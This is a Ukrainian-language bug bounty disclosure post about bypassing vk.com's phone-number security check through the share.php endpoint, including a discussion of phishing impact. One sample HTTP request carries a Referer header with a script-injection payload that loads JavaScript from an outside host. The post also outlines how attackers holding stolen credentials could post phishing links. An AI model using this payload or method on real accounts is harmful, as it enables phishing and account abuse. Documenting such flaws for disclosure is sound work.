[BugBounty] Частковий обхід аутентифікації vk.com

Поставив перед собою завдання — обійти аутентифікацію Вконтакте. Коли ip адресу людини, яка входить на аккаунт vk змінюється, потрібно ввести повний номер телефону. Якщо зловмисник входив через телефон; пароль, то він зможе вчиняти дії на акаунті. Але якщо він входив через email; пароль або через підміну cookies, то він не зможе здійснювати якісь дії на акаунті.

imageВся інформація надана виключно в ознайомлювальних цілях. Я не несу відповідальності за можливу шкоду, завдану матеріалами цієї статті.

Брутфорсинг тут працювати не буде, так як у нас всього 3 спроби ввести номер телефону. Намагався виконувати всі можливі get і post запити, але весь час відбувався редирект на https://vk.com/login.php?act=security_check.

image

Можна було б виконати post запит з іншого аккаунта, для цього нам потрібен csrf token(hash), але я зміг знайти тільки токен для логаута https://login.vk.com/?act=logout&hash=dbefb8b0bba973b95e&reason=tn&_origin=https://vk.com.

Нам пропонують змінити номер телефону на акаунті vk.com/restore?act=change_phone, тут можемо бачити кількість непрочитаних повідомлень (не баг, а фіча, але прибрати це не заважало б) і налаштування пунктів меню.

Трохи пізніше, я випадково натрапив на функціонал шарінга посилання https://vk.com/share.php?url=https://ok.ru, на моє здивування, ця посилання відкрилася:

image

Спробував запостіть собі посилання на стінку і отримав повідомлення.

Вітаємо! Посилання з'явиться на Вашій сторінці.

image

Спочатку не повірив, подумав, що security_check заблокував всі, але зайшов на стінку і побачив, що посилання успішно запостилась )



На стіну можна розшарювати не тільки посилання, а й звичайний пост, для цього потрібно залишити параметр url порожнім https://vk.com/share.php?url=.

image

Також, якщо ми власник або адміністратор спільноти, ми можемо запостіть на стіну спільноти запис в обхід введення номера телефону.

Друзям ми не можемо відправити повідомлення, так як vk.com/login.php?act=security_check блокує отримання списку друзів. Запит відправки url одному має вигляд.

POST /al_mail.php HTTP/1.1
Host: vk.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://vk.com/share.php?url="><script src=https://securityz.net/t.js?320408></script></script>
Content-Length: 139
Cookie: remixlang=0
Connection: close

act=a_send&al=1&chas=89c444076031dff154&from=share&media=share%3A0_0&message=ww&share_desc=&share_title=&share_url=&title=&to_ids=204690***

Де to_ids — іди друзів, chas — csrf токен, значить, ми не можемо просто підставити вд одного, токен нам заважає. З запиту шарінга посилання на стіну токен ми взяти не можемо, так там зовсім інша змінна — hash=bb6e1ce8db5f1419e3.

Відразу після виявлення уразливості я написав репорт на h1, мені сказали, що це дублікат, раніше вже надсилали такий репорт.

Щоб дізнатися приблизну дату, коли прислали репорт, я звертаюся до пошуку по репортам, дивлюся репорт, вд якого найбільш близький до мого і дивлюся дату — hackerone.com/reports/170894. Виявилося, репорт цей надіслали 4 місяці тому.

Дуже сумно, що vk за цей час не змогли виправити вразливість. Деякі репорти висять роками, впевнений, що багато баг хантеров bug bounty vk натрапили на дублікати, так як ні для кого не секрет, що у ВК багато репортов та багато роботи, а сб дуже мало.

Пруф — уразливість в відео файлах, яку надіслав Олексій Писаренко. Очікує усунення вже 2 роки!!

image

Ще один репорт, який висить вже 1 рік:

image

Ця стаття створена тільки для того, щоб привернути увагу розробників Вконтакте, сподіваюся, вони виправлять цю уразливість, збільшать штат сб і почнуть оперативно усувати уразливості.

Висновки: Мета фішерів — спамити, вона залишається здійсненним, аутентифікацію можна забайпасить.

P. S: У процесі обходу аутентифікації виявив уразливість, яка дозволяє підписатися на будь-яку групу vk, не знаючи номера телефону жертви, і ще одну, з допомогою якої можна повністю обійти введення номера, але поки що про це не написав репорт.

image

P. P. S: Про импакте уразливості:

1. Ця вразливість може використовуватися при масових фішингових атак на користувачів (зараз набирає популярність створення фейків ВК і поширення їх через особисті повідомлення, а також соц інженерія, застосовна на друзях зламаних акаунтів), часто фішери при отриманні логів стикаються з проблемою входу в аккаунт і подальшого розповсюдження url фішингових сайтів (отримують тільки email;password), з цією уразливістю вони можуть отримувати набагато більше логів за рахунок того, що діляться своєю посиланням на стіні і в групі жертви.

2. Щоб заблокувати або заморозити сторінку користувача — потрібно поділиться забороненої посиланням у себе на стіні та акаунт відразу заблокують.

Група VK і мій твіттер в профілі. Підписуйтесь :)
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.